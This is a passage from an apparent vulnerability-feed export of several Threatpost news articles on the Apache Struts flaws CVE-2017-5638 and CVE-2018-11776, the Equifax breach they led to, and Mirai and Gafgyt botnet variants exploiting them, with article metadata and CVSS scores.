That\u2019s likely going to continue to increase. I think what we\u2019re also going to see is people going to try to scan for the vulnerability.\u201d\n\nThe flaw lives in the Jakarta Multipart parser upload function in Apache. It allows an attacker to easily make a maliciously crafted request (a malicious Content-Type value) to an Apache webserver and have it execute. Struts 2.3.5 to Struts 2.3.31 are affected as are Struts 2.5 to 2.5.10; admins are urged to upgrade immediately to [Struts 2.3.32](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32>) or [2.5.10.1](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1>).\n\nTalk of the vulnerability surfaced on Chinese forums, according to Vincente Motos, who posted an advisory on the [HackPlayers](<http://www.hackplayers.com/2017/03/exploit-rce-para-apache-struts-cve-2017-5638.html>) website. Motos said a notorious Apache Struts hacker known as Nike Zheng posted a public proof-of-concept exploit demonstrating the simplicity in which an attacker could inject operating system commands.\n\nThe attacks are particularly risky to anyone running their Apache webservers as root, which is not a suggested practice. Williams said it\u2019s unclear whether an attacker can benignly scan for vulnerable servers in order to determine the version and context under which Struts is running, whether as Apache or root, for example. But as with some older internet-wide bugs, there are a large number of scans happening.\n\n\u201c[Attacks] look like requests to a webserver with a malformed piece,\u201d Williams said. \u201cUnless you\u2019re looking for it, it\u2019s easy not to see the malformed content type.\u201d\n\nAn attacker, he said, would need to just modify one line depending on the operating system the target is running, Windows or Linux, and have it download a malicious binary from the web.\n\n\u201cUnfortunately, due to the nature of command-line injections like this, it\u2019s very easy to modify,\u201d Williams said. \u201cAnd that\u2019s why I think we\u2019re going to continue to see exploitation rise for the foreseeable future.\u201d\n\nThe risks are severe for an organization running an exposed Apache server if it\u2019s compromised.\n\n\u201cThe sky\u2019s the limit,\u201d Williams said. \u201cIf I\u2019m a bad guy, depending on what my game is, I can take over your webserver and use that to move laterally through your network. If I\u2019m super insidious, I can use that to look for your domain controller and if I can find a way to compromise your password hashes, say from the Linux server I compromised, I can possibly log in to your domain controller and use that to push malware to all your machines. I could ransom off your webserver, all kinds of terrible things.\u201d\n\nWilliams said [Cisco has observed](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) that the majority of public attacks feature a number of Linux bots used for DDoS attacks taking advantage of this vulnerability, along with an IRC bouncer, and a malware sample related to the bill gates botnet.\n\nWilliams cautioned as well that connected devices in the IoT space could also be a major concern, since Struts 2 likely runs there.\n\n\u201cI\u2019m going to guess there\u2019s a reasonable number of devices running it, and due to the nature of IoT, those aren\u2019t going to be patched any time soon. So this is going to be an issue for the foreseeable future.\u201d\n\nGiven the availability of patches and detection rules, it\u2019s likely that public attacks are going to be largely mitigated and as more detection rules surface, public exploits should be less useful to attackers.\n\n\u201cDue to the fact that it\u2019s relatively easy to go inside and modify an attack, it\u2019s going to be bad and it\u2019s going to plague us for some time,\u201d Williams said. \u201cGood news is that detecting it is not that difficult.\u201d\n", "cvss3": {}, "published": "2017-03-09T12:25:46", "type": "threatpost", "title": "Attacks Heating Up Against Apache Struts 2 Vulnerability", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-09T19:50:52", "id": "THREATPOST:1C2F8B65F8584E9BF67617A331A7B993", "href": "https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:27:47", "description": "Equifax said that an additional 2.4 million Americans have had their [personal data](<https://investor.equifax.com/news-and-events/news/2018/03-01-2018-140531340>) stolen as part of the company\u2019s massive 2017 data breach, including their names and some of their driver\u2019s license information.\n\nThe additional identified victims bring the total of those implicated in what has become the largest data breach of personal information in history to around 148 million people.\n\nThe consumer credit reporting agency on Thursday said that as part of an \u201congoing analysis\u201d it found that these newly identified victims\u2019 names and partial driver\u2019s license numbers were stolen by attackers.

Equifax said it discovered the breach on July 29. The breach enabled criminals to access sensitive data like social security numbers, birth dates, and license numbers.\n\nLater, during Equifax\u2019s testimony in October before the U.S. House Committee on Energy and Commerce Subcommittee on Digital Commerce and Consumer Protection, it was revealed that Equifax was notified in March that the breach was tied to an unpatched [Apache Struts vulnerability, CVE-2017-5638](<https://threatpost.com/oracle-patches-apache-struts-reminds-users-to-update-equifax-bug/128151/>). It was established that while Equifax said it had requested the \u201capplicable personnel responsible\u201d to update the vulnerability it never was fixed.\n\n\u201cIt appears that the breach occurred because of both human error and technology failures,\u201d Richard Smith, Equifax CEO at the time, wrote in a [testimony](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>) that was released at the hearing in October.\n\nMaking the breach worse was Equifax\u2019s further botched response to the breach.\n\nAfter the breach was revealed in September, the company\u2019s site was crushed with traffic from concerned customers that left the site unreachable. In a separate instance in October, the Equifax site came under fire for harboring [adware](<https://threatpost.com/equifax-takes-down-compromised-page-redirecting-to-adware-download/128406/>) in a third-party partner\u2019s Flash Player download.\n\nThe extent and scope of the breach also has been continually expanding since it was first disclosed in September. In October, after an analysis with security company Mandiant, the company said that an [additional](<https://threatpost.com/equifax-says-145-5m-affected-by-breach-ex-ceo-testifies/128247/>) 2.5 million customers were also impacted on top of the 143 million the company initially said were affected.\n\nMeanwhile, in February, documents submitted by Equifax to the US Senate Banking Committee revealed that attackers also accessed taxpayers identification numbers, email addresses, and credit card expiration dates for certain customers.\n\n**Renewed Anger**\n\nThis latest slew of impacted customers has renewed anger against the company, with some demanding stricter legislation for data protection \u2013 such as the proposed Data Breach Prevention and Compensation Act, which would impose strict security-related fines on credit reporting agencies.\n\n> My office is continuing our investigation of [#Equifax](<https://twitter.com/hashtag/Equifax?src=hash&ref_src=twsrc%5Etfw>) so we can get to the bottom of how this disastrous data breach happened. \n> \n> We also need to change the law.\n> \n> \u2014 Eric Schneiderman (@AGSchneiderman) [March 1, 2018](<https://twitter.com/AGSchneiderman/status/969229077814108160?ref_src=twsrc%5Etfw>)\n\n> This is unacceptable.

But it conceded that it was difficult to ascertain whether probes for vulnerable Apache servers could be carried out benignly.\n\nRapid7 said that in a 72-hour period starting Tuesday, a handful of events cropped up peaking at fewer than 50 between 11 a.m. and 6 p.m. Wednesday.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2017/03/06230023/pastedImage_1.png>)\n\n\u201cWe are really seeing limited attempts to exploit the vulnerability,\u201d said Tom Sellers, threat analyst and security researcher at Rapid7. \u201cFor context, please keep in mind that our data is from honeypots hosted in cloud providers and may not reflect what other sensors and organizations are seeing.\u201d\n\nCraig Williams, Cisco Talos senior technical lead, said researchers there are seeing attack traffic trending downward as well.\n\n\u201cEarly indicators and past experiences were pointing to this being an ongoing issue with attackers continuing to seek out vulnerable machines. Interestingly, over the last couple days, we have seen a slowing of activity,\u201d Williams said. \u201cBecause this is so unusual, we are continuing to monitor the situation in case the trend starts moving in the other direction. Again, this is not typical for this type of issue but great news all the same.\u201d\n\nThe vulnerability is in the Jakarta Multipart parser that comes with Apache. An attacker can trivially exploit the vulnerability to gain remote code execution by sending a HTTP request that contains a crafted Content-Type value. The vulnerable software will throw an exception in such cases.\n\n\u201cWhen the software is preparing the error message for display, a flaw in the Apache Struts Jakarta Multipart parser causes the malicious Content-Type value to be executed instead of displayed,\u201d Sellers wrote in an analysis published yesterday.\n\nThe vulnerability was disclosed and patched on Monday, and by Tuesday, Rapid7 was seeing two malicious requests from a host geo-located in Zhengzhou, China. The attacks arrived in HTTP GET requests and issued commands to the vulnerable webserver for it to download binaries from the attacker-controlled server on the internet. Sellers called it a standard command-injection attack against a webserver where the attacker is able to write code that instructs the server to reach out to an IP address and download code that executes on the server.\n\nThe second attack was spotted Wednesday when a host in Shanghai, China sent HTTP POST requests to servers instructing them to disable their firewall and grab code related to the XOR DDoS malware family.\n\n\u201cWhile we\u2019ve seen a couple dozen sources exploiting the vulnerability, only those two issued malicious commands,\u201d Sellers said. \u201cWe\u2019ve actually seen a drop off in related traffic since Wednesday. The most active attacker stopped on Thursday around 4 a.m. U.S. Central time.\u201d\n\nSellers said it\u2019s unclear as to why there\u2019s been a dropoff in malicious traffic.\n\n\u201cIt could be caused by a number of factors. The malicious payload is pretty obvious and easy to filter if traffic is inspected,\u201d Sellers said. \u201cAttackers might be prioritizing other vulnerabilities such as the ones announced in cameras recently. The lull may be temporary and we may see activity rise again after attention moves on to efforts.\u201d\n\nCisco raised the issue of IoT devices running the vulnerable Apache software as well, which could be an indicator of initial interest from DDoS bots.\n\n\u201cGiven the low sample size it\u2019s difficult for me to say.It\u2019s possible that DDoS bots are the early adopters since infection would generate easy, repeatable income and the code was trivial to port to existing frameworks,\u201d Sellers said. \u201cCompare that to ransomware, where a new deployment mechanism may need to be written but would likely only result in a single payout per host.\u201d\n\nResearchers were also seeing a number of requests probing for additional vulnerable servers that included whoami and ifconfig, commands that are relatively benign but could return information about what context the server is running in. Servers running at root\u2014an uncommon practice\u2014are most at risk.\n", "cvss3": {}, "published": "2017-03-10T10:51:01", "type": "threatpost", "title": "Apache Attack Traffic Dropping, Limited to Few Sources", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-10T16:12:17", "id": "THREATPOST:AACAA4F654495529E053D43901F00A81", "href": "https://threatpost.com/apache-attack-traffic-dropping-limited-to-few-sources/124227/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-01-23T05:28:31", "description": "Equifax, the credit agency behind this summer\u2019s breach of 143 million Americans, said this week the number of victims implicated in the breach has increased.\n\nPaulino do Rego Barros, Jr., the company\u2019s interim CEO, [announced Monday](<https://www.equifaxsecurity2017.com/>) that 2.5 million additional Americans were also impacted, bringing the grand total to 145.5 million affected individuals.\n\nEquifax initially called its investigation around the breach \u201csubstantially complete,\u201d but said it was still carrying out further analysis with Mandiant, a FireEye company it hired to investigate the breach, on the incident. According to Equifax, investigators didn\u2019t find any additional vulnerabilities. The extra 2.5 million Americans figure came \u201cduring Mandiant\u2019s completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.\u201d\n\nThe company used the opportunity on Monday to reiterate that Canadian citizens were also impacted, although far fewer than initially thought. The company said there may have been up to 100,000 Canadians affected several weeks ago however upon closer inspection, only 8,000 Canadian consumers were affected by the breach.\n\nEquifax says its still analyzing exactly how many United Kingdom consumers have been affected by the breach and is in the middle discussions with regulators to determine how to notify them.\n\nDetails about the breach came out the day before Richard Smith, Equifax\u2019s former CEO, was scheduled to testify about the breach before the U.S. House Committee on Energy and Commerce Subcommittee on Digital Commerce and Consumer Protection. Smith, former Equifax chairman and chief executive, [retired last Tuesday](<https://threatpost.com/oracle-patches-apache-struts-reminds-users-to-update-equifax-bug/128151/>) in wake of the breach.\n\nIn a [written testimony (.PDF)](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>) released in tandem with the subcommittee hearing, Smith blamed the breach on a combination of \u201chuman error and technology failures.\u201d\n\n\u201cThese mistakes \u2013 made in the same chain of security systems designed with redundancies \u2013 allowed criminals to access over 140 million Americans\u2019 data,\u201d Smith wrote.\n\nIn the testimony Smith claimed that the U.S. Department of Homeland Security\u2019s Computer Emergency Readiness Team (U.S. CERT) notified Equifax on March 8 that [it needed to patch CVE-2017-5638](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>), the Apache Struts vulnerability that eventually led to the hack.\n\nEquifax requested the \u201capplicable personnel responsible\u201d update Apache Struts via email on March 9, something that should have been done within a 48 hour period, Smith said.\n\nThat was never done and according to Smith, the vulnerability wasn\u2019t picked up by internal scans designed to identify vulnerable systems carried out on March 15. The issue lingered for roughly two months until attackers accessed Equifax\u2019s systems on May 13 \u2013 and persisted until the company became aware of the attackers on July 30.\n\nGreg Walden (R-Ore.) pointed out some of Equifax\u2019s many missteps on Tuesday morning, including how Equifax\u2019s consumer facing website for the breach was put hosted on a separate domain from the main Equifax website, the confusion that spawned, and how on multiple occasions Equifax directed users to the wrong website.\n\n\u201cOn top of all the other issues, multiple times Equifax tweeted the wrong URL directing consumers to the wrong website to check if they were part of a breach,\u201d Walden said, \u201cTalk about ham-handed responses this is simply unacceptable and it makes me wonder if there was a breach response plan in place at all and if anyone was in charge of executing that plan.\u201d\n\nDuring another part of the hearing, Tim Murphy, a U.S. representative for Pennsylvania\u2019s 18th Congressional district, came back to that question. When told the company\u2019s original site couldn\u2019t handle the traffic is received, Murphy was befuddled.\n\n\u201cWhy wouldn\u2019t your website be able to handle this kind of traffic?\u201d Murphy asked, \u201cIt just doesn\u2019t make sense, a company your size and with your knowledge, doesn\u2019t understand how to handle traffic for over 100 million people, don\u2019t you use an Elastic cloud computing service that would\u2019ve accounted for this?\u201d\n\nSmith said the sheer amount of traffic Equifax\u2019s site received in wake of the breach made hosting a site on its domain impossible.\n\n\u201cThe environment the micro site is in is a cloud environment that\u2019s very, very scalable,\u201d Smith said. \u201cOur traditional environment could not handle 400 million consumer visits for three weeks.\u201d\n\nMurphy also grilled Smith on what took Equifax so long to patch the March vulnerability and if it\u2019s possible Equifax\u2019s internal scanning system could potentially miss another vulnerability.\n\n\u201cIf the patch only took a few days to apply why did Equifax fail to apply it in March when it was announced as critical?\u201d Murphy asked.\n\nSmith skirted the question and instead discussed the difficulties associated with patching.\n\n\u201cPatching can take a variety of time\u2026 it can take days or up to a week or more,\u201d Smith said, adding that he wasn\u2019t aware of the particular Struts vulnerability at the time.\n\nAt the end of the hearing, when pressed by Anna Eshoo, U.S. Representative for California\u2019s 18th congressional district, Smith described the process around patching again but did little to deviate from his prepared testimony.\n\n\u201cI want to know when they did it, when they took care of [the patch]\u201d Eshoo said.\n\n\u201cThey took care of it in July because we never found it,\u201d Smith said. \u201cWe had the human error, we did the scan, the technology never found it, in July we found suspicious activity, took the portal down, found the vulnerability, applied the patch.\u201d\n", "cvss3": {}, "published": "2017-10-03T15:27:08", "type": "threatpost", "title": "Equifax Says 145.5M Affected by Breach, Ex-CEO Testifies", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-10-03T15:27:08", "id": "THREATPOST:5E633FD1C6A5B5BB74F1B6A8399001A2", "href": "https://threatpost.com/equifax-says-145-5m-affected-by-breach-ex-ceo-testifies/128247/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-05-30T05:51:10", "description": "Researchers have discovered new variants for the infamous Mirai and Gafgyt IoT botnets \u2013 now targeting well-known vulnerabilities in Apache Struts and SonicWall.\n\nThe new Mirai strain targets the Apache Struts flaw associated with the 2017 Equifax breach, while the Gafgyt variant uses a newly-disclosed glitch impacting older, unsupported versions of SonicWall\u2019s Global Management System, according to researchers with Palo Alto Networks in a [Sunday ](<https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/>)post.\n\n\u201cHere we\u2019re seeing Mirai and Gafgyt variants targeting systems mostly seen in enterprises,\u201d Ruchna Nigam, researcher with Palo Alto Networks, told Threatpost. \u201cUltimately, future trends are open to speculation, but we know that targeting enterprise links offers bigger bandwidth from a DDoS perspective. For now, it looks that the attackers may be doing a test run on the efficacy of using different vulnerabilities, with the intention of spotting ones that herd the maximum number of bots, affording them greater firepower for a DDoS.\u201d\n\n**Mirai Evolves**\n\nResearchers said that they discovered samples of a Mirai variant on Sept. 7 incorporating exploits that targeted 16 separate vulnerabilities.\n\nThe variant notably exploits the critical arbitrary command-execution flaw in Apache Struts ([CVE-2017-5638](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>)) that was patched in March 2017. This marks the first known instance of Mirai targeting a vulnerability in Apache Struts, researchers said. Attackers could use specially crafted content-type, content-disposition or content-length HTTP headers to launch an arbitrary command-execution attack.\n\nThough a patch has been available for over a year now, many consumers may not have updated their systems \u2013 an issue that led to the already-patched [vulnerability](<https://threatpost.com/equifax-confirms-march-struts-vulnerability-behind-breach/127975/>) being responsible for the Equifax breach last summer that impacted 147 million consumers.\n\nFlaws in Apache Struts have been actively exploited in the wild in other recent campaigns; these include a large cryptomining campaign using the recently disclosed Apache Struts 2 critical remote code-execution (CVE-2018-11776) [vulnerability](<https://threatpost.com/active-campaign-exploits-critical-apache-struts-2-flaw-in-the-wild/137207/>), which was patched in August.\n\nThe other 15 vulnerabilities targeted by the newest Mirai strain have been incorporated into the botnet in the past, including a Linksys remote code-execution flaw in Linksys E-Series devices, a Vacron NVR remote code-execution glitch, a remote code-execution issue in D-Link devices, remote code-execution vulnerabilities in CCTVs and DVRs from up to 70 vendors, and a flaw (CVE-2017-6884) in Zyxel routers.\n\nUnit 42 also found that the domain currently hosting these Mirai samples previously resolved to a different IP address during the month of August \u2014 an IP address hosting a new version of Gafgyt as well.\n\n**Gafgyt Adds to Bag of Tricks**\n\nIn August, the observed IP was \u201cintermittently hosting samples of Gafgyt that incorporated an exploit against CVE-2018-9866, a SonicWall vulnerability affecting older versions of SonicWall Global Management System (GMS),\u201d according to Nigam.\n\nThe targeted vulnerability ([CVE-2018-9866](<https://nvd.nist.gov/vuln/detail/CVE-2018-9866>)) exists in the lack of validation of user-supplied parameters pass to XML-RPC calls on SonicWall Global Management System (GMS) virtual appliances, allowing remote users to execute arbitrary code.\n\nThis vulnerability affects older, unsupported GMS versions, including 8.1 and earlier (the flaw is not present in supported versions). A Metasploit module was first [published](<https://www.exploit-db.com/exploits/45124/>) earlier this summer for the flaw; SonicWall then published a [public advisory](<https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2018-0007>) about the critical issue July 17.\n\nSonicWall has been notified of this latest development with Gafgyt, researchers said.\n\n\u201cThe vulnerability disclosed in this post is not an announcement of a new vulnerability in SonicWall GMS,\u201d a SonicWall spokesperson told Threatpost. \u201cThe issue referenced only affects an older version of the GMS software (version 8.1) which was replaced by version 8.2 in December 2016. Customers and partners running GMS version 8.2 and above are protected against this vulnerability. Customers still using GMS version 8.1 should apply a hotfix supplied by SonicWall in August 2018 and plan for an immediate upgrade, as GMS 8.1 went out of support in February 2018.\u201d\n\nThe Gafgyt botnet exploits a range of IoT flaws, including other issues in Huawei, GPON and D-Link devices.\n\nOnce in, it then fetches an update from <HTTP_SERVER>, saves it to <FILE_LOCATION>, and installs the update. After that, the botnet launches a Blacknurse DDoS attack, an attack that involves ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016.\n\n\u201cOne thing that stood out was the Gafgyt variant having support for the BlackNurse DDoS attack method,\u201d Ruchna told us. \u201cThe earliest samples I have seen supporting this DDoS method are from September 2017.\u201d\n\n**Continued Development**\n\nThe discovery of new targeted vuln comes after it was revealed in July that Mirai and Gafgyt were actively launching two IoT/Linux botnet [campaigns](<https://threatpost.com/d-link-dasan-routers-under-attack-in-yet-another-assault/134255/>), exploiting the [CVE-2018-10562 and CVE-2018-10561 bugs in Dasan routers](<https://threatpost.com/millions-of-home-fiber-routers-vulnerable-to-complete-takeover/131593/>).\n\nIn October 2016, the world was introduced to Mirai when it [overwhelmed servers](<https://threatpost.com/dyn-ddos-could-have-topped-1-tbps/121609/>) at global domain provider Dynamic Network Services (Dyn); that led to the blockage of more than 1,200 websites, including Netflix and Twitter. The Mirai source code was then released in Oct. 2016, with Mirai variants continuing to pop up left and right since then.\n\nMost recently, in April, a variant of the Mirai [botnet](<https://threatpost.com/mirai-variant-targets-financial-sector-with-iot-ddos-attacks/131056/>) was used to launch a series of DDoS campaigns against financial sector businesses, while in January, researchers identified a variant called [Satori (Mirai Okiru)](<https://threatpost.com/satori-author-linked-to-new-mirai-variant-masuta/129640/>).\n", "cvss3": {}, "published": "2018-09-10T14:23:09", "type": "threatpost", "title": "Mirai, Gafgyt Botnets Return to Target Infamous Apache Struts, SonicWall Flaws", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-6884", "CVE-2018-10561", "CVE-2018-10562", "CVE-2018-11776", "CVE-2018-9866"], "modified": "2018-09-10T14:23:09", "id": "THREATPOST:FC5665486C9D63E5C0C242F47F66ACF1", "href": "https://threatpost.com/mirai-gafgyt-botnets-return-to-target-infamous-apache-struts-sonicwall-flaws/137309/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-06-28T05:48:46", "description": "A critical remote code-execution vulnerability in Apache Struts 2, the popular open-source framework for developing web applications in the Java programming language, is threatening a wide range of applications, even when no additional plugins have been enabled. Successful exploitation could lead to full endpoint and eventually network compromise, according to researchers \u2013 who said that the flaw is more dangerous than the similar vulnerability used to compromise Equifax last year.\n\nA [working exploit](<https://threatpost.com/poc-code-surfaces-to-exploit-apache-struts-2-vulnerability/136921/>) surfaced within a day of its disclosure.\n\nThe vulnerability ([CVE-2018-11776](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776>)) was [patched](<https://cwiki.apache.org/confluence/display/WW/S2-057>) by the Apache Software Foundation yesterday and affects all supported versions of Struts 2: Users of Struts 2.3 should upgrade to 2.3.35; users of Struts 2.5 need to upgrade to 2.5.17. They should do so as soon as possible, given that bad actors are likely already working on exploits, according to the Semmle research team\u2019s Man Yue Mo, who uncovered the flaw.\n\n\u201cThis vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\u201d he said in a [posting](<https://semmle.com/news/apache-struts-CVE-2018-11776>) on Wednesday. \u201cOn top of that, the weakness is related to the Struts Object-Graph Navigation Language (OGNL) language, which hackers are very familiar with, and are known to have been exploited in the past.\u201d\n\n[OGNL](<https://commons.apache.org/proper/commons-ognl/>) is a powerful, domain-specific language that is used to customize Struts\u2019 behavior.\n\n\u201cOn the whole, this is more critical than the highly critical Struts RCE vulnerability that the Semmle Security Research Team discovered and announced last September,\u201d said Yue Mo, referring to the infamous vulns (CVE-2017-9805) that hackers used to compromise Equifax last year, which led to the lifting of [personal details of 147 million consumers](<https://threatpost.com/equi-facts-equifax-clarifies-the-numbers-for-its-massive-breach/131797/>).\n\nTim Mackey, technology evangelist at Synopsys, told Threatpost that this is due to the fact that it affects a wider swath of the Struts architecture.\n\n\u201cIn the case of CVE-2018-11776, the root cause [is] a lack of input validation on the URL passed to the Struts framework,\u201d he explained. \u201cThe prior [Struts] vulnerabilities were all in code within a single functional area of the Struts code. This meant that developers familiar with that functional area could quickly identify and resolve issues without introducing new functional behaviors. CVE-2018-11776 operates at a far deeper level within the code, which in turns requires a deeper understanding of not only the Struts code itself, but the various libraries used by Struts. It is this level of understanding which is of greatest concern \u2013 and this concern relates to any library framework.\u201d\n\n## Anatomy of the Flaw\n\nThe vulnerability is caused by insufficient validation of untrusted user data in the core of the Struts framework, according to the team\u2019s findings.\n\n\u201cAttackers can attack vulnerable applications by injecting their own namespace as a parameter in an HTTP request,\u201d they explained. \u201cThe value of that parameter is insufficiently validated by the Struts framework, and can be any OGNL string.\u201d\n\nBecause the issue affects the core of Struts, there are at least two separate attack vectors \u2013 and potentially many more.\n\nIn the first attack scenario, three Struts result types are unsafe when used without a namespace, as defined in either in the Struts configuration file or in Java code if the Struts Convention plugin is used. These are the redirect action, which redirects the visitor to a different URL; action chaining, which is a method to chain multiple actions into a defined sequence or workflow; and postback result, which renders the current request parameters as a form which immediately submits a postback to the specified destination chain or postback.\n\nThe researchers explained: \u201cAn example of a struts.xml configuration that is potentially vulnerable: the <action \u2026> tag does not have a namespace attribute and contains a result of type redirectAction. If you use the Struts Convention plugin, you will also have to look for actions and results that are configured using Java code.\u201d\n\nThe second attack vector has to do with the fact that Struts supports page templates inside <result> tags in the Struts configuration: \u201cThe use of URL tags in such pages is potentially unsafe if the template is referred to from an <action> tag that does not provide a namespace attribute (or specifies a wildcard namespace),\u201d the researchers said. \u201cYour application is vulnerable if the template contains an <s:url \u2026> tag without an action or value attribute.\u201d\n\nResearchers noted that for an exploit for either of the known vectors to be successful, an application must have the alwaysSelectFullNamespace flag set to \u201ctrue\u201d in the Struts configuration \u2013 a default state if the application uses the popular Struts Convention plugin. Also, the application\u2019s actions must be configured without specifying a namespace, or with a wildcard namespace (e.g. \u201c/*\u201d).\n\n\u201cThis applies to actions and namespaces specified in the Struts configuration file (e.g. <action namespace=\u201dmain\u201d>), but also to actions and namespaces specified in Java code if you are using the Struts Convention plugin,\u201d they explained.\n\nThat said, they also cautioned that other attack vectors may emerge that apply to different configurations.\n\n\u201cWhether or not a Struts application is vulnerable to remote code execution largely depends on the exact configuration and architecture of the application,\u201d the firm said. \u201cNote that even if an application is currently not vulnerable, an inadvertent change to a Struts configuration file may render the application vulnerable in the future. You are therefore strongly advised to upgrade your Struts components, even if you believe your configuration not to be vulnerable right now.\u201d\n\nThis is a critical point, according to Mackey. \u201cValidating the input to a function requires a clear definition of what is acceptable,\u201d he said. \u201cIt equally requires that any functions available for public use document how they use the data passed to them. Absent the contract such definitions and documentation form, it\u2019s difficult to determine if the code is operating correctly or not. This contract becomes critical when patches to libraries are issued as its unrealistic to assume that all patches are free from behavioral changes. Modern software is increasingly complex and identifying how data passes through it should be a priority for all software development teams.\u201d\n\nPavel Avgustinov, vice president of QL Engineering at Semmle, laid out what\u2019s at stake in a media statement: \u201cCritical remote code-execution vulnerabilities like the [one that affected Equifax](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>) and the one we announced [this week] are incredibly dangerous for several reasons: Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\u201d he said. \u201cA hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk.\u201d\n", "cvss3": {}, "published": "2018-08-23T16:46:57", "type": "threatpost", "title": "Apache Struts 2 Flaw Uncovered: \u2018More Critical Than Equifax Bug\u2019", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-9805", "CVE-2018-11776"], "modified": "2018-08-23T16:46:57", "id": "THREATPOST:D5150098043DAE7CDF2E31618C33F5D2", "href": "https://threatpost.com/apache-struts-2-flaw-uncovered-more-critical-than-equifax-bug/136850/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-10-06T22:53:10", "description": "Equifax said the culprit behind [this summer\u2019s massive breach of 143 million Americans](<https://threatpost.com/equifax-says-breach-affects-143-million-americans/127880/>) was indeed CVE-2017-5638, an Apache Struts vulnerability patched back in March.\n\nThe bug was widely assumed by experts to be the \u201cU.S. website application vulnerability\u201d implicated by the company last Thursday, especially after an Apache spokeswoman [told Reuters](<https://www.reuters.com/article/us-equifax-cyber/criticism-of-equifax-data-breach-response-mounts-shares-tumble-idUSKCN1BJ1NF>) on Friday that it appeared the consumer credit reporting agency hadn\u2019t applied patches for flaws discovered earlier this year.\n\nOn Wednesday company specified the flaw in a statement [posted to its site](<https://www.equifaxsecurity2017.com/>) and stressed it was continuing to work alongside law enforcement to investigate the incident.\n\n> \u201cEquifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cybersecurity firm to determine what information was accessed and who has been impacted. We know that criminals exploited a U.S. website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.\u201d\n\nUntil the news broke on Wednesday there was still mounting confusion over which Struts vulnerability attackers used.\n\nRen\u00e9 Gielen, vice president of the Apache Struts Project Management Committee (PMC) at the Apache Software Foundation, [wrote in open letter over the weekend](<https://threatpost.com/apache-foundation-refutes-involvement-in-equifax-breach/127910/>) that attackers either used an unknown Struts zero day or an earlier announced vulnerability. A separate remote code execution bug, CVE-2017-9805, was fixed in Struts [last Tuesday](<https://threatpost.com/patch-released-for-critical-apache-struts-bug/127809/>) but Gielen said the Apache PMC would have known about it if it was being exploited in July.\n\nAn internal report last week from equity research firm Baird said a Struts vulnerability was behind the breach as well. The analyst who penned the report failed to specify which vulnerability and neglected to state how he arrived at that conclusion however.\n\nJeff Williams, chief technology officer of Contrast Security, wrote last Saturday that CVE-2017-5638 was likely to blame for the breach.\n\n\u201cThe first vulnerability from March seems much more likely because it\u2019s easier to exploit and much better known. It also fits the timeline better, since it was released months before Equifax was attacked in July,\u201d Williams wrote, adding on Thursday that he was familiar with several large organizations which took months to fix the bug.\n\n\u201cThe process of rewriting, retesting, and redeploying can take months. I just visited one of the largest telecom providers where this effort took more than four months and millions of dollars. Without runtime protection in place, they have to do this every time a new library vulnerability comes out,\u201d Williams said.\n\nThe vulnerability, a flaw in the Jakarta Multipart parser upload function in Apache, allowed an attacker to make a maliciously crafted request to an Apache webserver. The vulnerability, which first surfaced on Chinese forums before it was discovered by researchers with Cisco Talos, [was patched back in March](<https://threatpost.com/attacks-heating-up-against-apache-struts-2-vulnerability/124183/>) but proof of concept exploit code quickly found its way into Metasploit. Public scans and attacks spiked immediately following disclosure of the vulnerability and at least one campaign was found [installing Cerber ransomware](<https://threatpost.com/apache-struts-2-exploits-installing-cerber-ransomware/124844/>) on vulnerable servers.\n\nFamed cryptographer Bruce Schneier, CTO of IBM Resilient, [weighed in](<https://www.schneier.com/blog/archives/2017/09/on_the_equifax_.html>) on the Equifax fiasco on Wednesday and like IoT issues as of late [have necessitated](<https://threatpost.com/legislation-proposed-to-secure-connected-iot-devices/127152/>), suggested the only solution to preventing breaches like this from happening again is government intervention.\n\n\u201cBy regulating the security practices of companies that store our data, and fining companies that fail to comply, governments can raise the cost of insecurity high enough that security becomes a cheaper alternative,\u201d Schneier wrote, \u201cThey can do the same thing by giving individuals affected by these breaches the ability to sue 